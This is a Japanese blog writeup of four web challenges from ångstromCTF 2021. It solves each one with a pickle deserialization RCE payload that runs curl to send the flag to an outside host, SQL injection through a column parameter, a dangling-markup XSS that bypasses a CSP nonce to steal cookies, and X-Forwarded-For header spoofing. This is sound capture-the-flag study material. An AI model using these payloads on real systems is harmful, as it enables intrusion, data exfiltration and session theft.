よーでんのブログ

One for All,All for わんわんお!

ångstromCTF 2021

writeup

585点で372位。時間の長いCTFだとどうしても初日で燃え尽きてしまう・・・

f:id:y0d3n:20210410122433p:plain
result

解けたwebだけwriteup書いていきます。

Jar (70pt 349solve)

My other pickle challenges seem to be giving you all a hard time, so here's a [simpler one](url) to get you warmed up.

アクセスすると、でかでかとピクルスの画像。
入力した内容がランダムな場所に出現する。(以下a, b, hogeと入力した状態)

f:id:y0d3n:20210408105617p:plain
jar

ソースが配布されているので読むと、pythonpickleを利用して入力値をcookieに保存しているようだ。

@app.route('/add', methods=['POST'])
def add():
    contents = request.cookies.get('contents')
    if contents: items = pickle.loads(base64.b64decode(contents))
    else: items = []
    items.append(request.form['item'])
    response = make_response(redirect('/'))
    response.set_cookie('contents', base64.b64encode(pickle.dumps(items)))
    return response

pickle exploit等でググるといっぱい出てくるので、参考にしてexplitを書く。

davidhamann.de

今回の問題ではpickle.dumpsされる部分が配列になっているので、元のソースのRCE()の部分を[RCE()]にした。

import os
import pickle
import base64

class RCE:
    def __reduce__(self):
        cmd = ('curl [url]?`echo $FLAG`')
        return os.system, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps([RCE()])
    print(base64.urlsafe_b64encode(pickled))

実行結果はgASVaQAAAAAAAABdlIwFcG9zaXiUjAZzeXN0ZW2Uk5SMS2N1cmwgaHR0cHM6Ly93ZWJob29rLnNpdGUvNjVlOTRiZjQtMDExMC00ZTE5LWIxOTItMDllYzhjOGE2YWU4P2BlY2hvICRGTEFHYJSFlFKUYS4=。これをcookieにセットしてページを更新すれば、[url]?[flag]にアクセスが来る。

f:id:y0d3n:20210408120722p:plain
jar flag

フォーマットをよしなにすればflag。

actf{you_got_yourself_out_of_a_pickle}

Sea of Quills (70pt 376solve)

Come check out our [finest selection of quills](url)!

アクセスすると、よくわからない一覧が表示される。

f:id:y0d3n:20210408121141p:plain
sea of quills main

Exploreに遷移すると、AmountStarting fromを指定する検索ページ。

f:id:y0d3n:20210408121328p:plain
sea of quills explore

Amountなどに文字を入れると怒られ、数字を入れるといいかんじにレスポンスが返ってくる。
ソースが配布されているので見てみる。

post '/quills' do
    db = SQLite3::Database.new "quills.db"
    (snip)
    blacklist = ["-", "/", ";", "'", "\""]
    
    blacklist.each { |word|
        if cols.include? word
            return "beep boop sqli detected!"
        end
    }

    
    if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
        return "bad, no quills for you!"
    end

    @row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])

db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])のところ、SQLiがありそうだ。
limoffはExploreで指定した二つのパラメータだろう。数字しか受け付けないらしいのであまり活用できなそう。colsに注目する。

開発者ツールで通信を見てみると、POST時にcolも送信している。SQLiができそうだ。

f:id:y0d3n:20210408121942p:plain
request

rubyのソースを読んでSQLite3を使用していることがわかったので、burpで通信を書き換えてsqlite_masterに対してselectしてみる。
blacklistで記号が弾かれるため、コメントアウトが使えそうにない。
構文を成立させてselectする必要がある。

limit=10&offset=1&cols=*+from+sqlite_master+union+select+1,2,3,4,5

sqlite_masterのカラム数は5なので、union+select+1,2,3,4,5を忘れないように。
リクエストを送ると、以下のレスポンスが返ってくる。

<li class="pb5 pl3">
  flagtable 
  <ul>
    <li>
      flagtable
    </li>
  </ul>
</li>

flagtableからselectする。

limit=10&offset=1&cols=*+from+flagtable+union+select+1

flagが返ってくる。

actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}

nomnomnom (130pt 112solve)

I've made a new game that is sure to make all the Venture Capitalists want to invest! Care to try it out?

[NOM NOM NOM (the game)](url)

f:id:y0d3n:20210410132908p:plain
nomnomnom

十字キーで青い球を操って黄色い球を回収していくゲーム。1つ回収するたびに青い球が速くなっていき、壁に激突するとゲームオーバー。(自己ベストは13点)

ゲームオーバーになると、what's your username? (for the share)という内容のpromptが実行される。そこにユーザ名を入力した結果が以下。

f:id:y0d3n:20210410133914p:plain
share

この時のURLはshares/43780c60b357d32bshares以降の16進数はランダム。
Play!は再チャレンジ、Reportクローラーに現在のURLを提出する。

yodenの部分がユーザの入力値が反映される部分。
試しに<s>sss</s>と入力するとHTMLがエスケープ等されずに出力された。

f:id:y0d3n:20210410134723p:plain
<s>sss</s>

となると、scriptを入れてみたくなる。<script>alert(1)</script>と入力してみる。

f:id:y0d3n:20210410134928p:plain
CSP

nonceが正しくないと怒られる。XSSするならCSPをバイパスしないといけないようだ。
このときのソースは以下。

This score was set by <script>alert(1)</script>
<script nonce='e8b575c99d536782e1588ec51e30c285'>
function report() {
   fetch('/report/06c9f8884f64b64b', {
       method: 'POST'
   })
}

document.getElementById('reporter').onclick = () => { report() }
</script> 

入力値の直下にreportscriptがある。
Dangling markup injectionが使えそうだ。

クローラーのソースを読むと、firefoxを指定しているのでfirefoxで試す。

const browser = await puppeteer.launch({ args: ['--no-sandbox'], product: 'firefox' })

alert(1)とだけ書いた自前サーバを用意し、<script src="[url]"*1を入力する。

f:id:y0d3n:20210410143552p:plain
Dangling markup injection

HTMLを意図的に崩した影響で、src="[url]", <script="", nonce="[nonce]"という属性を持ったscriptタグを作ることに成功した。

f:id:y0d3n:20210410141314p:plain
alert(1)

サーバの内容をdocument.location="[url]?"+document.cookieにしてreportすればアクセスがくるかと思ったが、HTMLを壊したことで、resultを送信するjsが上手く動かない。
仕方ないのでyodenなどでshareしたもののreportをburpで書き換える。
share/[yodenのURL]をreportすると以下。

POST /report/[yodenのURL] HTTP/1.1

[yodenのURL]の部分を[<scriptのURL]に書き換えるとcookieつきでアクセスがくる。

f:id:y0d3n:20210410141549p:plain
document.location="[url]?"+document.cookie

cookieno_this_is_not_the_challenge_go_away=45628003f424b67698622e643f86ed78126981f5b545d2c403e232b11bc96cb751aa93e481ca20d04aee0ac64e37c2068c09db440d3aa86a100bd21eb59088b9をセットしてページを更新すればflag。 (書きながら試したところcookieの値が変わっていたので、この値ではflagはでません)

actf{w0ah_the_t4g_n0mm3d_th1ng5}

Spoofy (160pt 197solve)

Clam decided to switch from repl.it to an actual hosting service like Heroku. In typical clam fashion, [he left a backdoor](url) in. Unfortunately for him, he should've stayed with repl.it...

アクセスするといきなりI don't trust you >:(といわれる。
ソースを読んでみる。

def main_page() -> Response:
    if "X-Forwarded-For" in request.headers:
        # https://stackoverflow.com/q/18264304/
        # Some people say first ip in list, some people say last
        # I don't know who to believe
        # So just believe both
        ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
        if not ips:
            return text_response("How is it even possible to have 0 IPs???", 400)
        if ips[0] != ips[-1]:
            return text_response(
                "First and last IPs disagree so I'm just going to not serve this request.",
                400,
            )
        ip: str = ips[0]
        if ip != "1.3.3.7":
            return text_response("I don't trust you >:(", 401)
        return text_response("Hello 1337 haxx0r, here's the flag! " + FLAG)
    else:
        return text_response("Please run the server through a proxy.", 400)

X-Forwarded-Forヘッダの最初と最後がどちらも1.3.3.7だとflagがもらえるらしい。

burpでX-Forwarded-For: 1.3.3.7にしたところ、First and last IPs disagree
問題サーバーまでにX-Forwarded-ForにIPが追加されてしまっているのだろう。

ソースを参考にローカルでいろいろ試していたら、X-Forwarded-Forヘッダが二つある場合、一つ目の後ろに二つ目が結合されることがわかった。

X-Forwarded-For: 1.3.3.7
X-Forwarded-For: 1.3.3.7

request.headers["X-Forwarded-For"].split(", ")を出力させると['1.3.3.7,1.3.3.7']だった。
二つが結合されて1.3.3.7,1.3.3.7になっている。split(", ")なので、,の後ろにスペースがなくてsplitされていない。

ちなみに、この時のレスポンスはFirst and last IPs disagree

ここで、この時の実際のヘッダが以下のようになってるのではないかと予想した。*2*3

X-Forwarded-For: 1.3.3.7, 8.8.8.8
X-Forwarded-For: 1.3.3.7

もしこうなっていた場合、request.headers["X-Forwarded-For"].split(", ")['1.3.3.7', '8.8.8.8,1.3.3.7']になっているはずだ。

split(", ")で8.8.8.8と分離させるために、二つ目のX-Forwarded-Forヘッダを, 1.3.3.7にする。

X-Forwarded-For: 1.3.3.7
X-Forwarded-For: , 1.3.3.7

これでリクエストを送ってみたらflagがゲットできた。

actf{spoofing_is_quite_spiffy}

*1:>がない

*2:「この問題が解けるってことはこういうことじゃないかな」と逆算していた

*3:8.8.8.8は適当な値